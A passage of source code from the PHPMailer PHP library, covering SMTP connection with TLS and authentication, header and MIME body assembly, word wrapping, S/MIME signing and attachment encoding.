            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
